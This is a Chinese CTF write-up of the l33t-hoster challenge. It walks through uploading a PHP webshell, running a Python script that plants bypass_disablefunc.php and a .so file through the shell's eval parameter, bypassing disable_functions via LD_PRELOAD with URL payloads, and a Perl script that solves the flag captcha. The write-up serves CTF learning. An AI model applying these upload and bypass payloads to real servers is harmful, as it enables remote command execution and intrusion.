l33t-hoster 后续读取flag操作(记一次裁缝过程)
(好久不做题了,知识点都忘了,真不该(つ﹏⊂))
首先声明,我是在buu的环境里做的
1.上传shell
首先上传一个shell,步骤同mochu7大佬一样,https://blog.csdn.net/mochu7777777/article/details/113772879,蚁剑连上,得到如下界面
但是mochu7大佬的博客中,最后一步
mochu7=var_dump(file_get_contents('/flag'));
行不通,会返回bool(flase),目录下有/get_flag文件,这里应该只能尝试运行/get_flag文件,才能读取flag,但是蚁剑给出的虚拟终端爆出如下错误,这里我查看了这篇博客,https://blog.gcoperation.top/posts/942b7e00/,知道了是需要绕过disable_function,同时,我也查看了官方的wp,https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md,发现使用了LD_PRELOAD 注入,这一方法很常见
随即我想用蚁剑官方的插件来达到LD_PRELOAD注入这一目的,但是失败了,
2.LD_PRELOAD注入
于是我从git里找到了相关的php文件和so文件,进行上传,我们下载bypass_disablefunc.php,bypass_disablefunc_x64.so,下载网址:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,一开始我想试着直接用蚁剑直接上传,但是失败了
没办法,我们只能自己上传,通过自己的shell手动上传
上传bypass_disablefunc.php文件的代码如下,参考https://www.cnblogs.com/tr1ple/p/11207145.html的非预期解
import requests
import base64
URL = "http://a8c043dc-836e-4610-8c6d-1f56d3e13dca.node4.buuoj.cn:81"
RANDOM_DIRECTORY = "f5e76aee9bf7100b4423e1db6c0d9212c5a0f1cd"
url = URL + "/images/" + RANDOM_DIRECTORY + "/mochu7.jpg"
param = {"mochu7":"move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/f5e76aee9bf7100b4423e1db6c0d9212c5a0f1cd/bypass_disablefunc.php');echo 'ok';var_dump(scandir('/var/www/html/images/f5e76aee9bf7100b4423e1db6c0d9212c5a0f1cd'));"}
files = [('file',('bypass_disablefunc.php',open("bypass_disablefunc.php","rb"),'application/octet-stream'))]
r = requests.post(url=url, files=files, data=param)
print(r.text)
bypass_disablefunc_x64.so文件上传也一样,随后我们可以看到file里面有上传的php和so文件,我们向bypass_disablefunc.php传入官方的payload,发现可以执行linux指令了,这里我们执行 ls /
/bypass_disablefunc.php?cmd=ls /&outpath=/tmp/xx&sopath=/var/www/html/images/f5e76aee9bf7100b4423e1db6c0d9212c5a0f1cd/bypass_disablefunc_x64.so
cmd=/get_flag
发现不行,还需要解答一个小问题,这里官方用perl脚本,进行读取的,perl代码为
#!/usr/bin/env perl
use warnings;
use strict;
use IPC::Open2;
$| = 1;
my $pid = open2(\*out2, \*in2, '/get_flag') or die;
my $reply = <out2>;
print STDOUT $reply; #string: solve captcha..
$reply = <out2>;
print STDOUT $reply; #captcha formula
my $answer = eval($reply);
print STDOUT "answer: $answer\n";
print in2 " $answer "; #send it to process
in2->flush();
$reply = <out2>;
print STDOUT $reply; #flag :D
我们再将该pl文件上传到该网站上,同上文bypass_disablefunc.php文件一样,
最后文件目录如下
3.读取flag
最终payload
/images/f5e76aee9bf7100b4423e1db6c0d9212c5a0f1cd/bypass_disablefunc.php?cmd=perl fuck.pl&outpath=/tmp/xx&sopath=/var/www/html/images/f5e76aee9bf7100b4423e1db6c0d9212c5a0f1cd/bypass_disablefunc_x64.so
4.参考博客
https://blog.csdn.net/mochu7777777/article/details/113772879
https://www.programminghunter.com/article/2580937314/
https://blog.gcoperation.top/posts/942b7e00/
https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md